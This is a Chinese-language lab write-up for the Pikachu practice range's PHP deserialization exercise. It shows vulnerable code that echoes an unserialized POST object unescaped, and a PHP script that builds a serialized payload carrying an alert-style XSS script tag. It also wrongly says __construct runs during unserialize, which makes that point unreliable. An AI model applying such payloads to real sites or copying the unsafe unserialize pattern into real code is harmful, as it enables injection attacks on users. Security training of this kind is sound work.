pikachu 反序列化靶场

Pikachu 反序列化靶场

源码分析

核心代码

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}
  • $s 接收上传的参数

    $s = $_POST['o'];
    
  • 判断是否能够被反序列化,即上传的参数是否经过序列化

    if(!@$unser = unserialize($s))
    
  • 如果上传的序列化后的参数,将上传的数据反序列化后,自动执行魔术方法 __construct()$unser->test 用来输出反序列化后对象的 test 属性的值到页面上

构造 Payload

<?php
class S{
    var $test = "<script>alert(/gjl/)</script>";
}
    // 创建一个对象
    $s=new S(); 
    // 把这个对象进行序列化输出
    print_r(serialize($s)); 
?>

image-20231121221658401

* 替换回 <

O:1:"S":1:{s:4:"test";s:29:"<script>alert(/gjl/)</script>";}

提交执行

image-20231121221816205

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